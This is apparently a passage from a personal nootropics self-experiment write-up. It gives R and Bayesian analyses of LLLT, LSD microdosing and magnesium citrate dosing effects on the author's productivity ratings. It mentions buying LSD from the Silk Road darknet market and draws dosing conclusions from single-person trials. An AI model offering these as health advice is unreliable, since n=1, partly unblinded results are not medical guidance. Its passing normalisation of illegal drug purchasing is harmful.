factorization <-fa(llltI[-c(1,2)], nfactors=8); factorization# Standardized loadings (pattern matrix) based upon correlation matrix#                           MR6   MR1   MR2   MR4   MR3   MR5   MR7   MR8     h2    u2 com# Creativity.self.rating   0.22  0.06 -0.04  0.08 -0.04  0.02 -0.05 -0.14 0.0658 0.934 2.5# Percentage              -0.05 -0.02  0.01  0.01  0.00 -0.42  0.02  0.02 0.1684 0.832 1.0# Time.X                  -0.04  0.11  0.04  0.88 -0.02  0.01  0.01  0.02 0.8282 0.172 1.0# Time.PDF                 0.02  0.99 -0.02  0.04  0.02  0.00 -0.01 -0.01 0.9950 0.005 1.0# Time.Stats              -0.10  0.21  0.12  0.16 -0.04  0.04  0.12  0.25 0.2310 0.769 4.3# Time.IRC                 0.01 -0.02  0.99  0.02  0.02  0.01  0.00 -0.01 0.9950 0.005 1.0# Time.Writing             0.01 -0.02  0.01  0.04 -0.01 -0.03  0.68  0.04 0.4720 0.528 1.0# Time.Rec                 0.20 -0.12 -0.06  0.42  0.62 -0.02 -0.07 -0.01 0.8501 0.150 2.2# Time.Music              -0.05  0.05  0.02  0.02 -0.04  0.22  0.02  0.13 0.0909 0.909 2.0# Time.SRS                -0.07  0.09  0.08  0.00  0.00  0.08  0.06  0.16 0.0702 0.930 3.6# Time.Sysadmin            0.05 -0.09 -0.04  0.15  0.07  0.01  0.14  0.42 0.2542 0.746 1.7# Time.Bitcoin             0.45  0.02  0.25 -0.07 -0.03 -0.09 -0.04  0.11 0.3581 0.642 1.9# Time.Backups             0.22  0.10 -0.08 -0.19  0.12  0.13  0.02  0.27 0.1809 0.819 4.3# Time.Blackmarkets        0.62 -0.01  0.06 -0.02 -0.09 -0.01 -0.04  0.15 0.4442 0.556 1.2# Time.Programming         0.06 -0.01 -0.01 -0.04  0.07  0.08  0.41 -0.07 0.1790 0.821 1.3# Time.DNB                -0.01 -0.01  0.02  0.01 -0.01  0.76 -0.01  0.00 0.5800 0.420 1.0# Time.Typing             -0.04  0.05  0.02  0.01 -0.02 -0.01  0.00 -0.01 0.0054 0.995 2.9# Time.Umineko            -0.10  0.08  0.06 -0.15  0.77 -0.01  0.03  0.02 0.5082 0.492 1.2# Gwern.net.linecount.log  0.65  0.03  0.00 -0.03  0.04  0.00  0.10 -0.13 0.4223 0.578 1.1# Gwern.net.patches.log    0.11  0.02 -0.01  0.02  0.00  0.06  0.29 -0.06 0.1001 0.900 1.5##                        MR6  MR1  MR2  MR4  MR3  MR5  MR7  MR8# SS loadings           1.24 1.12 1.13 1.13 1.05 0.86 0.80 0.48# Proportion Var        0.06 0.06 0.06 0.06 0.05 0.04 0.04 0.02# Cumulative Var        0.06 0.12 0.17 0.23 0.28 0.33 0.37 0.39# Proportion Explained  0.16 0.14 0.14 0.14 0.13 0.11 0.10 0.06# Cumulative Proportion 0.16 0.30 0.45 0.59 0.73 0.84 0.94 1.00##  With factor correlations of#       MR6   MR1   MR2   MR4   MR3   MR5   MR7  MR8# MR6  1.00 -0.13  0.26  0.15  0.22 -0.09  0.03 0.16# MR1 -0.13  1.00 -0.12  0.25 -0.05  0.06  0.12 0.11# MR2  0.26 -0.12  1.00  0.04 -0.04  0.10  0.20 0.19# MR4  0.15  0.25  0.04  1.00  0.32  0.01 -0.05 0.10# MR3  0.22 -0.05 -0.04  0.32  1.00 -0.04 -0.07 0.00# MR5 -0.09  0.06  0.10  0.01 -0.04  1.00  0.11 0.11# MR7  0.03  0.12  0.20 -0.05 -0.07  0.11  1.00 0.20# MR8  0.16  0.11  0.19  0.10  0.00  0.11  0.20 1.00## Mean item complexity =  1.9# Test of the hypothesis that 8 factors are sufficient.## The degrees of freedom for the null model are  190# and the objective function was  2.46 with Chi Square of  5344.68# The degrees of freedom for the model are 58  and the objective function was  0.07## The root mean square of the residuals (RMSR) is  0.02# The df corrected root mean square of the residuals is  0.03## The harmonic number of observations is  2178 with the empirical chi square  190.08  with prob <  5.9e-16# The total number of observations was  2178  with MLE Chi Square =  149.65  with prob <  4.9e-10## Tucker Lewis Index of factoring reliability =  0.942# RMSEA index =  0.027  and the 90 % confidence intervals are  0.022 0.032# BIC =  -296.15# Fit based upon off diagonal values = 0.98# Measures of factor score adequacy#                                                 MR6  MR1  MR2  MR4  MR3  MR5  MR7   MR8# Correlation of scores with factors             0.84 1.00 1.00 0.93 0.89 0.80 0.76  0.64# Multiple R square of scores with factors       0.70 0.99 0.99 0.86 0.79 0.63 0.58  0.41# Minimum correlation of possible factor scores  0.40 0.99 0.99 0.71 0.58 0.27 0.16 -0.19

The important factors seem to be: #1/MR6 (Creativity.self.rating, Time.Bitcoin, Time.Backups, Time.Blackmarkets, Gwern.net.linecount.log), #2/MR1 (Time.PDF, Time.Stats), #7/MR7 (Time.Writing, Time.Sysadmin, Time.Programming, Gwern.net.patches.log), and #8/MR8 (Time.States, Time.SRS, Time.Sysadmin, Time.Backups, Time.Blackmarkets). The rest seem to be time-wasting or reflect dual n-back/DNB usage (which is not relevant in the LLLT time period).

So we want to extract and look at factors #1/2/7/8 (MR6/1/7/8):

lllt$MR6 <-predict(factorization, data=llltI[-c(1,2)])[,1]
lllt$MR1 <-predict(factorization, data=llltI[-c(1,2)])[,2]
lllt$MR7 <-predict(factorization, data=llltI[-c(1,2)])[,7]
lllt$MR8 <-predict(factorization, data=llltI[-c(1,2)])[,8]
l <-lm(cbind(MR6, MR1, MR7, MR8) ~LLLT, data=lllt); summary(l)# Response MR6 :# Coefficients:#              Estimate Std. Error  t value Pr(>|t|)# (Intercept) 1.5307773  0.0736275 20.79085  < 2e-16# LLLTTRUE    0.1319675  0.1349040  0.97823  0.32868## Response MR1 :# Coefficients:#               Estimate Std. Error  t value  Pr(>|t|)# (Intercept) -0.1675241  0.0609841 -2.74701 0.0063473# LLLTTRUE     0.0317851  0.1117381  0.28446 0.7762378## Response MR7 :# Coefficients:#               Estimate Std. Error  t value Pr(>|t|)# (Intercept) -0.0924052  0.0709438 -1.30251 0.193658# LLLTTRUE     0.2556655  0.1299869  1.96686 0.050045## Response MR8 :# Coefficients:#              Estimate Std. Error t value Pr(>|t|)# (Intercept) 0.0741850  0.0687618 1.07887  0.28144# LLLTTRUE    0.1380131  0.1259889 1.09544  0.274130.2556655 /sd(lllt$MR7)# [1] 0.335510445summary(manova(l))#            Df     Pillai approx F num Df den Df  Pr(>F)# LLLT        1 0.01372527 1.127218      4    324 0.34355# Residuals 327

All of the coefficients are positive, as one would hope, and one specific factor (MR7) squeaks in at d=0.34 (p=0.05). The graph is much less impressive than the graph for just MP, suggesting that the correlation may be spread out over a lot of factors, the current dataset isn’t doing a good job of capturing the effect compared to the MP self-rating, or it really was a placebo effect:

Daily MR7 activity (writing/programming) factor correlated with LLLT usage (2013-2014)
Daily MR7 activity (writing/programming) factor correlated with LLLT usage (2013-2014)
library(ggplot2)
llltRecent$index <-1:nrow(llltRecent)qplot(index, MR7, color=LLLT, data=llltRecent) +geom_point(size=I(3)) +stat_smooth() +scale_colour_manual(values=c("gray49", "green"),name ="LLLT")

The concentration in one factor leaves me a bit dubious. We’ll see what the experiment turns up.

Experiment

A randomized non-blind self-experiment of LLLT 2014-2015 yields a causal effect which is several times smaller than a correlative analysis and non-statistically-significant/very weak Bayesian evidence for a positive effect. This suggests that the earlier result had been driven primarily by reverse causation, and that my LLLT usage has little or no benefits.

Following up on the promising but unrandomized pilot, I began randomizing my LLLT usage since I worried that more productive days were causing use rather than vice-versa. I began on 2 August 2014, and the last day was 3 March 2015 (n=167); this was twice the sample size I thought I needed, and I stopped, as before, as part of cleaning up (I wanted to know whether to get rid of it or not). The procedure was simple: by noon, I flipped a bit and either did or did not use my LED device; if I was distracted or didn’t get around to randomization by noon, I skipped the day. This was an unblinded experiment because finding a randomized on/off switch is tricky/expensive and it was easier to just start the experiment already. The question is simple too: controlling for the simultaneous blind magnesium experiment& my rare nicotine use (I did not use modafinil during this period or anything else I expect to have major influence), is the pilot correlation of d=0.455 on my daily self-ratings borne out by the experiment?

Daily productivity self-rating (higher=better) over time, split by LLLT usage that day (2014-2015)
Daily productivity self-rating (higher=better) over time, split by LLLT usage that day (2014-2015)
llltRandom <-read.csv("http://www.gwern.net/docs/nootropics/2015-lllt-random.csv",colClasses=c("Date", "logical", "integer", "logical", "logical"))# impute magnesium data: that randomized experiment started a month later
llltRandom[is.na(llltRandom$Magnesium.random),]$Magnesium.random <-0
l <-lm(MP ~LLLT.random +Nicotine +Magnesium.random, data=llltRandom); summary(l); confint(l)# ...Coefficients:#                    Estimate Std. Error  t value Pr(>|t|)# (Intercept)      3.28148626 0.06856553 47.85912  < 2e-16# LLLT.randomTRUE  0.04099628 0.09108322  0.45010  0.65324# NicotineTRUE     0.21152245 0.26673557  0.79300  0.42893# Magnesium.random 0.10299190 0.09312616  1.10594  0.27038## Residual standard error: 0.5809214 on 163 degrees of freedom#   (47 observations deleted due to missingness)# Multiple R-squared:  0.01519483,  Adjusted R-squared:  -0.002930415# F-statistic: 0.8383241 on 3 and 163 DF,  p-value: 0.474678##                           2.5 %       97.5 %# (Intercept)       3.14609507948 3.4168774481# LLLT.randomTRUE  -0.13885889747 0.2208514560# NicotineTRUE     -0.31518017129 0.7382250752# Magnesium.random -0.08089731164 0.28688110340.04099628 /sd(llltRandom$MP)# [1] 0.0701653002library(ggplot2)ggplot(data = llltRandom, aes(x=Date, y=MP, col=as.logical(llltRandom$LLLT.random))) +geom_point(size=I(3)) +stat_smooth() +scale_colour_manual(values=c("gray49", "blue"),name ="LLLT")

The estimate of the causal effect of LLLT+placebo is not statistically-significant, and the effect size of +0.04 / d=0.07 is much smaller than d=0.455 (15%) and the original pilot’s point estimate of +0.33 is excluded by the new confidence interval (95% CI: -0.13 - +0.22).

I have strong priors about the possible effects of LLLT, nicotine & magnesium (specifically, I know from experience that they tend to be small), so a Bayesian linear model using JAGS is useful for letting me take that into account and also producing more meaningful results (probabilities, rather than p-values):

# JAGS won't automatically drop rows with missing variables like `lm` does by default
llltClean <-llltRandom[!is.na(llltRandom$LLLT.random),]library(rjags)library(R2jags)
model1<-"model {    for (i in 1:n) {        MP[i] ~ dnorm(MP.hat[i], tau)        MP.hat[i] <- a + b1*LLLT.random[i] + b2*Nicotine[i] + b3*Magnesium.random[i]    }    # intercept    a  ~ dnorm(3, 4) # prec 4 ~= 0.5^-2 ~= SD 0.5, the historical SD of my MPs    # coefficients    ## informative prior: effects should be <0.5 usually, and >0.3 is unusual    b1 ~ dnorm(0, 13) # prec 13 ~= SD 0.3    b2 ~ dnorm(0, 13)    b3 ~ dnorm(0, 13)    # informative prior: 2-5 doesn't allow for much variance    sigma ~ dunif(0, 1)    # convert SD to 'precision' unit that JAGS's distributions use instead    tau <- pow(sigma, -2)}"
j1 <-with(llltClean, jags(data=list(n=nrow(llltClean), MP=MP, LLLT.random=LLLT.random,Nicotine=Nicotine, Magnesium.random=Magnesium.random),parameters.to.save=c("b1", "b2", "b3"),model.file=textConnection(model1),n.chains=getOption("mc.cores"), n.iter=1000000))print(j1, intervals=c(0.0001, 0.5, 0.9999))# Inference for Bugs model at "4", fit using jags,#  4 chains, each with 1e+06 iterations (first 5e+05 discarded), n.thin = 500#  n.sims = 4000 iterations saved#          mu.vect sd.vect   0.01%     50%  99.99%  Rhat n.eff# b1         0.042   0.087  -0.276   0.041   0.326 1.002  2100# b2         0.114   0.194  -0.533   0.114   0.745 1.001  4000# b3         0.100   0.088  -0.266   0.100   0.412 1.001  4000# deviance 293.023   2.864 288.567 292.420 314.947 1.001  4000## For each parameter, n.eff is a crude measure of effective sample size,# and Rhat is the potential scale reduction factor (at convergence, Rhat=1).## DIC info (using the rule, pD = var(deviance)/2)# pD = 4.1 and DIC = 297.1# DIC is an estimate of expected predictive error (lower deviance is better).

This analysis suggests that there’s a 95% probability the effect is somewhere between -0.129 & 0.208 (d=-0.22 - d=0.35), similar to the original linear model’s CI. More relevantly: there is only a 70% probability that the effect is >0 (albeit probably tiny), and >99.99% probability it’s not as big as the pilot data had claimed.

At small effects like d=0.07, a nontrivial chance of negative effects, and an unknown level of placebo effects (this was non-blinded, which could account for any residual effects), this strongly implies that LLLT is not doing anything for me worth bothering with. I was pretty skeptical of LLLT in the first place, and if 167 days can’t turn up anything noticeable, I don’t think I’ll be continuing with LLLT usage and will be giving away my LED set. (Should any experimental studies of LLLT for cognitive enhancement in healthy people surface with large quantitative effects - as opposed to a handful of qualitative case studies about brain-damaged people - and I decide to give LLLT another try, I can always just buy another set of LEDs: it’s only ~$15, after all.)

For the full writeup of background, methodology, data, and statistical analysis, please see the LSD microdosing page.

Intrigued by old scientific results & many positive anecdotes since, I experimented with “microdosing” LSD - taking doses ~10μg, far below the level at which it causes its famous effects. At this level, the anecdotes claim the usual broad spectrum of positive effects on mood, depression, ability to do work, etc. After researching the matter a bit, I discovered that as far as I could tell, since the original experiment in the 1960s, no one had ever done a blind or even a randomized self-experiment on it.

The self-experiment was simple: I ordered two tabs off Silk Road, dissolved one in distilled water, put the solution in one jar & tap water in the other, and took them in pairs of 3-day blocks.

The results of my pre-specified analysis on a well-powered randomized blind self-experiment:

  1. Sleep:

  2. Mnemosyne flashcard scores: none (p=0.52)
  3. Mood/productivity: none (d=-0.18; p=0.86)
  4. Creativity: none (d=-0.19; p=0.87)

I concluded that if anything, the LSD microdosing may done the opposite of what I wanted.

The metal magnesium (Examine.com), like potassium (which didn’t help me), plays many biological roles and has an RDA for me of 400mg which is higher than I likely get (most people apparently get less, with 68% of American adults <RDA; and while I frequently eat oats, milk, peanut butter, and whole-wheat bread, I don’t eat many leafy greens and my tap water is very soft). The anecdotes are the usual positive effects: general benefits, life improvements, higher affect; the interesting bits are the claims that magnesium is anxiolytic and affects sleep (positively, if you don’t mind the increase in dreaming, which makes me wonder if the benefits ascribed to float tanks might not be due to absorbing magnesium via the Epsom salts which provide the buoyancy).

L-threonate

There are a variety of substances to get magnesium from. Considerable enthusiasm for the new compound magnesium l-threonate was stirred by 2 small animal rat studies finding that magnesium l-threonate was able to increase magnesium levels in the brain and improve learning/memory tasks. (There are no published human trials as of October 2015, and evidence of publication bias, which I take as evidence against there being large effects in humans.) Animal studies mean very little, of course (see the appendix), but I thought it’d be interesting to try using l-threonate, so I bought the $30 “Life Extension Neuro-Mag Magnesium L-Threonate with Calcium and Vitamin D3 (205g)”, which according to the LEF product page works out to ~60g of “Magtein™ magnesium L-threonate” and ~4.31g elemental magnesium inasmuch as LEF claims 2000mg of threonate powder provides 144mg elemental magnesium or a 14:1 ratio. (I don’t need the calcium or vitamin D3, but this was the only magnesium l-threonate on Amazon.) Experiment-wise, I’ll probably look at sleep metrics and Mnemosyne performance; I put off designing a blind self-experiment until after trying some.

The powder itself is quite bulky; the recommended dose to hit 200mg of absorbed magnesium leads to ~7g of powder (so capping will be difficult) and the container provides only 30 doses’ worth (or each dose costs $1!). It’s described as lemon-flavored, and it is, but it’s sickly-sweet unpleasant and since it’s so much powder, takes half a glass of water to dissolve it entirely and wash it down. Subjectively, I notice nothing after taking it for a week. I may try a simple A-B-A analysis of sleep or Mnemosyne, but I’m not optimistic. And given the large expense of LEF’s “Magtein”, it’s probably a non-starter even if there seems to be an effect. For sleep effects, I will have to look at more reasonably priced magnesium sources.

One thing I did do was piggyback on my Noopept self-experiment: I blinded & randomized the Noopept for a real experiment, but simply made sure to vary the Magtein without worrying about blinding or randomizing it. (The powder is quite bulky.) The correlation the experiment turned in was a odds-ratio of 1.9; interesting and in the right direction (higher is better), but since the magnesium part wasn’t random or blind, not a causal result.

Citrate

Encouraged by TruBrain’s magnesium & my magnesium l-threonate use, I design and run a blind random self-experiment to see whether magnesium citrate supplementation would improve my mood or productivity. I collected ~200 days of data at two dose levels. The analysis finds that the net effect was negative, but a more detailed look shows time-varying effects with a large initial benefit negated by an increasingly-negative effect. Combined with my expectations, the long half-life, and the higher-than-intended dosage, I infer that I overdosed on the magnesium. To verify this, I will be running a followup experiment with a much smaller dose.

The original magnesium l-threonate caused me no apparent problems by the time I finished off the powder and usage correlated with better days, further supporting the hypothesis that magnesium helps it. But l-threonate would be difficult to cap (and hence blind self-experiment) and is ruinously expensive on a per-dose basis. So I looked around for alternatives for the followup; one of the most common compounds suggested was the citrate form because it is reasonably well-absorbed and causes fewer digestive problems, so I could just take that. Magnesium oxide is widely available it looks cheap, but the absorption/bioavailabilty problem makes it unattractive: at a 3:5 ratio, an estimate of 4% absorption, a ZMA formulation of an impressive-sounding 500mg would be 500×35×0.04=12mg or a small fraction of RDAs for male adults like 400mg elemental. (Calcium shouldn’t be a problem since I get 220mg of calcium from my multivitamin and I enjoy dairy products daily.)

Finding a usable product on Amazon caused me some difficulties. I wanted a 500mg magnesium-citrate-only product at <$20 for 120 doses, but I discovered most of the selection for “magnesium citrate” had sub-500mg doses, involved calcium citrate or other substances like zinc (not necessarily a bad thing, but would confound an experiment), were mostly magnesium oxide rather than citrate, or some still other problem. Ultimately I settled on Solgar’s $13 120x400mg magnesium citrate as acceptable. (To compare with the bulkiness of the LEF vitamin D+l-threonate powder, the Office of Dietary Supplements says magnesium citrate is 16% magnesium, so to get 400mg of magnesium as claimed, would take 2.5g of material, rather than 7g for 200mg; even if l-threonate is absorbed 100% and citrate 50%, the citrate is ahead. The pills turn out to be wider and longer than my 00 pills; if I want to get them into my gel capsules, I have to crush them into fine powder. The powder from one pill turns out to take up 2 00 pills.)

My impression after the first two days (2 doses of 400mg each, one with breakfast & then lunch) was positive. I did not have the rumored digestion problems, and the first day went excellently: I was up until 1:30AM working and even then didn’t feel like going to bed - and I probably should have since I then slept abominably, which made the second day merely a good day. The third day I took none and it was an ordinary day. This is consistent with what I expected from the LEF l-threonate & TruBrain glycinate/lycinate, and so it is worth investigating with a self-experiment.

Experiment

The basic idea is to remedy a deficiency (not look for acute stimulant effects) and magnesium has a slow excretion rate, so week-long blocks seem appropriate. I can reuse the same methodology as the lithium self-experiment. The response variables will be the usual mood/productivity self-rating and, since I was originally interested in magnesium for possible sleep quality improvements, a standardized score of sleep latency + # of awakenings + time spent awake (the same variable as my potassium sleep experiment).

Since each 400mg pill takes up 2 00 pills, that’s 4 gel caps a day to reach 800mg magnesium citrate (ie. 136mg elemental magnesium), or 224 gel caps (2x120) for the first batch of Solgar magnesium pills. Turning the Solgar tablets into gel capsules was difficult enough that I switched to NOW Food’s 227g magnesium citrate powder for the second batch.

Power

Reusing the magnesium correlation from the first Noopept self-experiment and using the t-test as an approximation

pwr.t.test(d = (0.27 /sd(npt$MP)), power =0.8, type="paired", alternative="greater")# Paired t test power calculation## n = 50.61# ...

50 pairs of active/placebos or 100 days. With 120 tablets and 4 tablets used up, that leaves me 58 doses. That might seem adequate except the paired t-test approximation is overly-optimistic, and I also expect the non-randomized non-blinded correlation is too high which means that is overly-optimistic as well. The power would be lower than I’d prefer. I decided to simply order another bottle of Solgar’s & double the sample size to be safe.

Is 200 enough? There are no canned power functions for the ordinal logistic regression I would be using, so the standard advice is to estimate power by simulation: generating thousands of new datasets where we know by construction that the binary magnesium variable increases MP by 0.27 (such as by bootstrapping the original Noopept experiment’s data), and seeing how often in this collection the cutoff of statistical-significance is passed when the usual analysis is done (background: CrossValidated or “Power Analysis and Sample Size Estimation using Bootstrap”). In this case, we leave alpha at 0.05, reuse the Noopept experiment’s data with its Magtein correlation, and ask for the power when n=200

library(boot)library(rms)
npt <-read.csv("http://www.gwern.net/docs/nootropics/2013-gwern-noopept.csv")
n <-200
magteinPower <-function(dt, indices) {
    d <-dt[sample(nrow(dt), n, replace=TRUE), ] # new dataset, possibly larger than the original
    lmodel <-lrm(MP ~Noopept +Magtein, data = d)return(anova(lmodel)[8])
}
bs <-boot(data=npt, statistic=magteinPower, R=100000, parallel="multicore", ncpus=4)
alpha <-0.05print(sum(bs$t<=alpha)/length(bs$t))# [1] 0.7132

So the power will be ~71%.

Data

  1. 27 August - 2 September: 0

    3 September - 9 September: 1
  2. 10 September - 15 September: 0

    16 September - 21 September: 1
  3. 22 September - 28 September: 0

    29 September - 5 October: 1
  4. 6 October - 12 October: 0

13 October - 19 October: 1 5. 21 October - 27 October: 1

28 October - 2 November: 0
  1. 5 November - 11 November: 1 (skipped 3/4 November)

    During 11 November, I accidentally unblinded myself while cleaning my room. Hence, I refilled the active jar and began a fresh pair of blocks.
  2. 12 - 17 November: 0

    18 - 24 November: 1
  3. 25 - 29 November: 0; on 30 November, I again unblinded myself and started over later.
  4. 2 - 8 December: 1

    9 - 15 December: 0
  5. 16 - 17 December: 0

    18 - 19 December: 1

    At this point, I discovered I had run out of magnesium pills and had forgotten to order the magnesium citrate powder I’d intended to. I still had a lot of Noopept pills for the concurrently running second Noopept self-experiment, but since I wanted to wrap up some other experiments with a big analysis at the end of the year, I decided to halt and resume in January 2014.
  6. 25 - 31 January 2014: 0

    1 February - 7 February: 1

    For this batch, I tried out “NOW Foods Magnesium Citrate Powder” ($7 for 227g); the powder was still a bit sticky but much easier to work with than the Solgar pills, and the 227g made 249 gel capsule pills. The package estimates 119 serving of 315mg elemental magnesium, so a ratio of 0.315g magnesium for 1.9g magnesium citrate, implying that each gel cap pill then contains 0.152g magnesium ((119×315)249=150) and since I want a total dose of 0.8g, I need 5 of the gel cap pills a day or 35 per block.
  7. 9 - 15 February: 1 (skipped 8 February)

    16 - 22 February: 0
  8. 23 - 1 March: 1

    2 - 8 March: 0
  9. 9 - 15 March: 1

    16 - 22 March: 0
  10. 23 - 29 March: 0

    30 March - 5 April: 1
  11. 6 - 12 April: 0

    13 - 19 April: 1
  12. 20 - 26 April: 0

    27 April - 3 May: 1

Subjectively, I have no particular comments, other than that (like the threonate), I noticed no diarrhea.

Analysis

Some prep:

magnesium <-read.csv("magnesium.csv")
mp <-read.csv("~/selfexperiment/mp.csv")
mp$MP <-as.integer(as.character(mp$MP))rm(magnesium$MP)
magnesium <-merge(mp, magnesium, all=TRUE)write.csv(magnesium, file="magnesium.csv", row.names=FALSE)

The basic question: did the magnesium citrate increase MP?

magnesium <-read.csv("http://www.gwern.net/docs/nootropics/2013-2014-magnesium.csv")summary(lm(MP ~Magnesium.citrate, data=magnesium))# Coefficients:#                    Estimate Std. Error t value Pr(>|t|)# (Intercept)        3.276515   0.056677   57.81   <2e-16# Magnesium.citrate -0.000543   0.000144   -3.79    2e-04## Residual standard error: 0.671 on 206 degrees of freedom#   (678 observations deleted due to missingness)# Multiple R-squared:  0.065,   Adjusted R-squared:  0.0605# F-statistic: 14.3 on 1 and 206 DF,  p-value: 0.000201mean(-0.000543 *c(136, 800))# [1] -0.2541

The initial results are a shock: the mean effect of the magnesium citrate comes in at almost the exact same magnitude (-0.25) as had been estimated for the Magtein back in the original Noopept analysis (0.26), except the estimated average effect is negative, as in, the magnesium citrate was harmful, and statistically-significantly so. Huh?

This was so unexpected that I wondered if I had somehow accidentally put the magnesium pills into the placebo pill baggie or had swapped values while typing up the data into a spreadsheet, and checked into that. The spreadsheet accorded with the log above, which rules out data entry mistakes; and looking over the log, I discovered that some earlier slip-ups were able to rule out the pill-swap: I had carelessly put in some placebo pills made using rice, in order to get rid of them, and that led to me being unblinded twice before I became irritated enough to pick them all out of the bag of placebos - but how could that happen if I had swapped the groups of pills?

So I began looking further into the data to see just what had happened (perhaps horrendous bad luck on a few days), and turned to a plot:

library(ggplot2)
magnesium$Date <-as.Date(magnesium$Date)with(magnesium[559:nrow(magnesium),],qplot(Date, MP, color=as.factor(Magnesium.citrate), legend="Magnesium citrate", size=I(7)) +scale_colour_manual(values=c("gray49", "red1", "red3"), name ="Magnesium"))
MP categorical data plotted by date, colored by size of magnesium dose
MP categorical data plotted by date, colored by size of magnesium dose

One thing I notice looking at the data is that the red magnesium-free days seem to dominate the upper ranks towards the end, and blues appear mostly at the bottom, although this is a little hard to see because good days in general start to become sparse towards the end. Now, why would days start to be worse towards the end, and magnesium-dose days in particular? The grim surmise is: an accumulating overdose - no immediate acute effect, but the magnesium builds up, dragging down all days, but especially magnesium-dose days. The generally recognized symptoms of hypermagnesemia don’t include effect on mood or cognition, aside from “muscle weakness, confusion, and decreased reflexes…poor appetite that does not improve”, but it seems plausible that below medically-recognizable levels of distress like hypermagnesemia might still cause mental changes, and I wouldn’t expect any psychological research to have been done on this topic.

A picture is worth a thousand words, particularly in this case where there seems to be temporal effects, different trends for the conditions, and general confusion. So, I drag up 2.5 years of MP data (for context), plot all the data, color by magnesium/non-magnesium, and fit different LOESS lines to each as a sort of smoothed average (since categorical data is hard to interpret as a bunch of dots), which yields:

magnesium[is.na(magnesium$Magnesium.citrate),]$Magnesium.citrate <--1ggplot(data = magnesium, aes(x=Date, y=MP, col=as.factor(magnesium$Magnesium.citrate))) +geom_point(size=I(4)) +stat_smooth() +scale_colour_manual(values=c("gray49", "grey35", "red1", "red3" ),name ="Magnesium")
Full MP dataseries, with smoothed moving averages of no magnesium, 136mg, & 800mg doses
Full MP dataseries, with smoothed moving averages of no magnesium, 136mg, & 800mg doses

That really says it all: there’s an initial spike in MP, which reads like the promised stimulative effects possibly due to fixing a deficiency (a spike which doesn’t seem to have any counterparts in the previous history of MP), followed by a drastic plunge in the magnesium days but not so much the control days (indicating an acute effect when overloaded with magnesium), a partial recovery during the non-experimental Christmas break, another plunge, and finally recovery after the experiment has ended.

We can verify the negative correlation with the date & an interaction between magnesium and the date; I don’t know whether to treat the magnesium dose as a linear, categorical, or logical, so I’ll try all of them:

magnesium <-read.csv("http://www.gwern.net/docs/nootropics/2013-2014-magnesium.csv")
magnesium$Date <-as.integer(magnesium$Date)
slm <-step(lm(MP ~Magnesium.citrate *as.logical(Magnesium.citrate) *as.factor(Magnesium.citrate) *Date *Noopept, data=magnesium))# MP ~ as.logical(Magnesium.citrate) + Date + as.logical(Magnesium.citrate):Datesummary(slm)# Coefficients:#                                         Estimate Std. Error t value Pr(>|t|)# (Intercept)                             3.942875   0.571166    6.90  6.3e-11# as.logical(Magnesium.citrate)TRUE       1.217860   0.806212    1.51    0.132# Date                                   -0.000992   0.000830   -1.20    0.233# as.logical(Magnesium.citrate)TRUE:Date -0.002105   0.001173   -1.79    0.074## Residual standard error: 0.664 on 204 degrees of freedom#   (678 observations deleted due to missingness)# Multiple R-squared:  0.0933,  Adjusted R-squared:  0.08# F-statistic:    7 on 3 and 204 DF,  p-value: 0.000167

As feared and consistent with the accumulating overdose hypothesis, scores decrease over time and they decrease if magnesium is used that day. (The interaction isn’t statistically-significant, but I am not surprised: I powered this self-experiment to detect one main effect, not two main effects and an interaction.)

But at least initially, the magnesium seemed to be remarkably useful. The crossover point, using this linear model, would have been somewhere around 20 days of the early small magnesium doses:

# Extract estimated MP for continuous small magnesium dosing, then for no magnesium dosing;# compare them pair-wise to see which is bigger, and count how many days favor magnesium dosing.with(magnesium[!is.na(magnesium$Magnesium.citrate),], sum(predict(slm, newdata=data.frame(Date=Date, Magnesium.citrate=136)) >predict(slm, newdata=data.frame(Date=Date, Magnesium.citrate=0))))
[1] 20

The final question is: since I was taking an overdose, how did I mess up? I thought I was making sure I got at least the right RDA of elemental magnesium by aiming for 800mg of elemental magnesium and carefully converting from raw powder weight. So I went back to the original references, and scrutinizing them closely, they really were talking about elemental magnesium and indicating I should be getting 400mg elemental a day, but I did notice something: I got the dose wrong for the Solgar pills, it wasn’t 800mg elemental, it was 800mg of citrate - I misread the label. So I went from taking ~130mg of elemental magnesium in the first period to ~800mg in the second; I don’t think it is an accident that the second period seems to have been much worse (between the plot and the time trend).

I find this very troubling. The magnesium supplementation was harmful enough to do a lot of cumulative damage over the months involved (I could have done a lot of writing September 2013 - June 2014), but not so blatantly harmful enough as to be noticeable without a randomized blind self-experiment or at least systematic data collection - neither of which are common among people who would be supplementing magnesium I would much prefer it if my magnesium overdose had come with visible harm (such as waking up in the middle of the night after a nightmare soaked in sweat), since then I’d know quickly and surely, as would anyone else taking magnesium. But the harm I observed in my data? For all I know, that could be affecting every user of magnesium supplements! How would we know otherwise?

Sleep

I reused the magnesium data with my Zeo data and looked at the effects. The result were ambiguous: only a few effects survive multiple correction, which were a mix of good and bad ones, and I would guess that some of the bad effects are due to too much magnesium (although there is no time trend as blatant).

Conclusion

The interpretation which seems to best resolve everything I know about magnesium with the data from my experiment is that magnesium supplementation does indeed help me a large amount, but I was taking way too much.

Experiment 2

This is not 100% clear from the data and just blindly using a plausible amount carries the risk of the negative effects, so I intend to run another large experiment. I will reuse the “NOW Foods Magnesium Citrate Powder”, but this time, I will use longer blocks (to make cumulative overdosing more evident) and try to avoid any doses >150mg of elemental magnesium.

I spent 2.5 hours making gel capsules:

  • 10x24 Bisquick placebo
  • 10x24 magnesium citrate
  • 480 total

The powder totals 227g of magnesium citrate, hence there is ~0.945g per magnesium citrate pill. The nutritional information states that it contains 119 servings of 0.315g magnesium elemental = 37.485g elemental, as expected, and so likewise there is 0.156g elemental magnesium per pill. This is the same dosage as the second half of the first magnesium citrate experiment (249 gel capsules there, 240 here), where the overdose effect seemed to also happen; so to avoid the overdosage, I will take one pill every other day to halve the dose to an average of ~0.078g/78mg elemental per day (piggybacking on the morning-caffeine experiment to make compliance easier).

At 1 pill every other day, 14 doses, so pairs of 28-day blocks. The total time to use up all pills will then be ~960 days; this is a long time and excessively-powered, so I may stop early or possibly do a sequential analysis.

The benefit of sequential analysis here is being able to stop early, conserving pills, and letting me test another dosage: if I see another pattern of initial benefits followed by decline, I can then try cutting the dose by taking one pill every 3 days; or, if there is a benefit and no decline, then I can try tweaking the dose up a bit (maybe 3 days out of 5?). Since I don’t have a good idea what dose I want and the optimal dose seems like it could be valuable (and the wrong dose harmful!), I can’t afford to spend a lot of time on a single definitive experiment.

Power

Since I didn’t take any 78mg elemental doses and the effects were time-varying, it’s more difficult to estimate the expected effect-size and hence power.

